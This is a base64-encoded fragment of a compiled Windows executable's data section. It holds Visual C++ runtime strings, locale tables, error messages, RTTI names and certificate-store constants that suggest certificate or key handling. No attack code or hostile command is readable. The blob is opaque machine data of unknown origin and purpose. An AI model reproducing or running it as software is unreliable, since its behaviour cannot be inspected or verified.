GgAEAAAAobnVsbCkAAAYAAAYAAQAAEAADBgAGAhAERUVFBQUFBQU1MABQAAAAACggOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAeHB4eHh4CAcIAAAHAAgICAAACAAIAAcIAAAAAAAAAEgASAA6AG0AbQA6AHMAcwAAAAAAAAAAAGQAZABkAGQALAAgAE0ATQBNAE0AIABkAGQALAAgAHkAeQB5AHkAAABNAE0ALwBkAGQALwB5AHkAAAAAAFAATQAAAAAAQQBNAAAAAAAAAAAARABlAGMAZQBtAGIAZQByAAAAAAAAAAAATgBvAHYAZQBtAGIAZQByAAAAAAAAAAAATwBjAHQAbwBiAGUAcgAAAFMAZQBwAHQAZQBtAGIAZQByAAAAAAAAAEEAdQBnAHUAcwB0AAAAAABKAHUAbAB5AAAAAAAAAAAASgB1AG4AZQAAAAAAAAAAAEEAcAByAGkAbAAAAAAAAABNAGEAcgBjAGgAAAAAAAAARgBlAGIAcgB1AGEAcgB5AAAAAAAAAAAASgBhAG4AdQBhAHIAeQAAAEQAZQBjAAAATgBvAHYAAABPAGMAdAAAAFMAZQBwAAAAQQB1AGcAAABKAHUAbAAAAEoAdQBuAAAATQBhAHkAAABBAHAAcgAAAE0AYQByAAAARgBlAGIAAABKAGEAbgAAAFMAYQB0AHUAcgBkAGEAeQAAAAAAAAAAAEYAcgBpAGQAYQB5AAAAAABUAGgAdQByAHMAZABhAHkAAAAAAAAAAABXAGUAZABuAGUAcwBkAGEAeQAAAAAAAABUAHUAZQBzAGQAYQB5AAAATQBvAG4AZABhAHkAAAAAAFMAdQBuAGQAYQB5AAAAAABTAGEAdAAAAEYAcgBpAAAAVABoAHUAAABXAGUAZAAAAFQAdQBlAAAATQBvAG4AAABTAHUAbgAAAEhIOm1tOnNzAAAAAAAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AAAAAABNTS9kZC95eQAAAABQTQAAQU0AAAAAAABEZWNlbWJlcgAAAAAAAAAATm92ZW1iZXIAAAAAAAAAAE9jdG9iZXIAU2VwdGVtYmVyAAAAQXVndXN0AABKdWx5AAAAAEp1bmUAAAAAQXByaWwAAABNYXJjaAAAAAAAAABGZWJydWFyeQAAAAAAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAAAAAABUaHVyc2RheQAAAAAAAAAAV2VkbmVzZGF5AAAAAAAAAFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgAAAAAAYwBjAHMAAABVAFQARgAtADgAAAAAAAAAVQBUAEYALQAxADYATABFAAAAAAAAAAAAVQBOAEkAQwBPAEQARQAAAENvckV4aXRQcm9jZXNzAABtAHMAYwBvAHIAZQBlAC4AZABsAGwAAAByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAEQATwBNAEEASQBOACAAZQByAHIAbwByAA0ACgAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAAAAAAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQADQAKAAAAAAAAAAAAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQA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oLXVydWd1YXkAc3BhbmlzaC1wdWVydG8gcmljbwAAAAAAc3BhbmlzaC1wZXJ1AAAAAHNwYW5pc2gtcGFyYWd1YXkAAAAAAAAAAHNwYW5pc2gtcGFuYW1hAABzcGFuaXNoLW5pY2FyYWd1YQAAAAAAAABzcGFuaXNoLW1vZGVybgAAc3BhbmlzaC1tZXhpY2FuAHNwYW5pc2gtaG9uZHVyYXMAAAAAAAAAAHNwYW5pc2gtZ3VhdGVtYWxhAAAAAAAAAHNwYW5pc2gtZWwgc2FsdmFkb3IAAAAAAHNwYW5pc2gtZWN1YWRvcgBzcGFuaXNoLWRvbWluaWNhbiByZXB1YmxpYwAAAAAAAHNwYW5pc2gtY29zdGEgcmljYQAAAAAAAHNwYW5pc2gtY29sb21iaWEAAAAAAAAAAHNwYW5pc2gtY2hpbGUAAABzcGFuaXNoLWJvbGl2aWEAc3BhbmlzaC1hcmdlbnRpbmEAAAAAAAAAcG9ydHVndWVzZS1icmF6aWxpYW4AAAAAbm9yd2VnaWFuLW55bm9yc2sAAAAAAAAAbm9yd2VnaWFuLWJva21hbAAAAAAAAAAAbm9yd2VnaWFuAAAAAAAAAGl0YWxpYW4tc3dpc3MAAABpcmlzaC1lbmdsaXNoAAAAZ2VybWFuLXN3aXNzAAAAAGdlcm1hbi1sdXhlbWJvdXJnAAAAAAAAAGdlcm1hbi1saWNodGVuc3RlaW4AAAAAAGdlcm1hbi1hdXN0cmlhbgBmcmVuY2gtc3dpc3MAAAAAZnJlbmNoLWx1eGVtYm91cmcAAAAAAAAAZnJlbmNoLWNhbmFkaWFuAGZyZW5jaC1iZWxnaWFuAABlbmdsaXNoLXVzYQAAAAAAZW5nbGlzaC11cwAAAAAAAGVuZ2xpc2gtdWsAAAAAAABlbmdsaXNoLXRyaW5pZGFkIHkgdG9iYWdvAAAAAAAAAGVuZ2xpc2gtc291dGggYWZyaWNhAAAAAGVuZ2xpc2gtbnoAAAAAAABlbmdsaXNoLWphbWFpY2EAZW5nbGlzaC1pcmUAAAAAAGVuZ2xpc2gtY2FyaWJiZWFuAAAAAAAAAGVuZ2xpc2gtY2FuAAAAAABlbmdsaXNoLWJlbGl6ZQAAZW5nbGlzaC1hdXMAAAAAAGVuZ2xpc2gtYW1lcmljYW4AAAAAAAAAAGR1dGNoLWJlbGd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AwAgAAAAAAAAAAAAAAJEAAMAIAAAAAAAAAAAAAACSAADACAAAAAAAAAAAAAAAkwAAwAgAAAAAAAAAAAAAALQCAMAIAAAAAAAAAAAAAAC1AgDACAAAAAAAAAAAAAAAAwAAAAkAAADAAAAADAAAAElsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAERpcmVjdG9yeSBub3QgZW1wdHkAAAAAAEZ1bmN0aW9uIG5vdCBpbXBsZW1lbnRlZAAAAAAAAAAATm8gbG9ja3MgYXZhaWxhYmxlAAAAAAAARmlsZW5hbWUgdG9vIGxvbmcAAAAAAAAAUmVzb3VyY2UgZGVhZGxvY2sgYXZvaWRlZAAAAAAAAABSZXN1bHQgdG9vIGxhcmdlAAAAAAAAAABEb21haW4gZXJyb3IAAAAAQnJva2VuIHBpcGUAAAAAAFRvbyBtYW55IGxpbmtzAABSZWFkLW9ubHkgZmlsZSBzeXN0ZW0AAABJbnZhbGlkIHNlZWsAAAAATm8gc3BhY2UgbGVmdCBvbiBkZXZpY2UARmlsZSB0b28gbGFyZ2UAAEluYXBwcm9wcmlhdGUgSS9PIGNvbnRyb2wgb3BlcmF0aW9uAAAAAABUb28gbWFueSBvcGVuIGZpbGVzAAAAAABUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQAAAEludmFsaWQgYXJndW1lbnQAAAAAAAAAAElzIGEgZGlyZWN0b3J5AABOb3QgYSBkaXJlY3RvcnkATm8gc3VjaCBkZXZpY2UAAEltcHJvcGVyIGxpbmsAAABGaWxlIGV4aXN0cwAAAAAAUmVzb3VyY2UgZGV2aWNlAFVua25vd24gZXJyb3IAAABCYWQgYWRkcmVzcwAAAAAAUGVybWlzc2lvbiBkZW5pZWQAAAAAAAAATm90IGVub3VnaCBzcGFjZQAAAAAAAAAAUmVzb3VyY2UgdGVtcG9yYXJpbHkgdW5hdmFpbGFibGUAAAAAAAAAAE5vIGNoaWxkIHByb2Nlc3NlcwAAAAAAAEJhZCBmaWxlIGRlc2NyaXB0b3IAAAAAAEV4ZWMgZm9ybWF0IGVycm9yAAAAAAAAAEFyZyBsaXN0IHRvbyBsb25nAAAAAAAAAE5vIHN1Y2ggZGV2aWNlIG9yIGFkZHJlc3MAAAAAAAAASW5wdXQvb3V0cHV0IGVycm9yAAAAAAAASW50ZXJydXB0ZWQgZnVuY3Rpb24gY2FsbAAAAAAAAABObyBzdWNoIHByb2Nlc3MATm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAAAAAABPcGVyYXRpb24gbm90IHBlcm1pdHRlZABObyBlcnJvcgAAAABlKzAwMAAAAAAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAAC0+AAAAAAAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAAAAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZAAAAAAAX19yZXN0cmljdAAAAAAAAF9fcHRyNjQAX19lYWJpAABfX2NscmNhbGwAAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX3N0ZGNhbGwAAAAAAAAAX19wYXNjYWwAAAAAAAAAAF9fY2RlY2wAX19iYXNlZCgAAAAAAAA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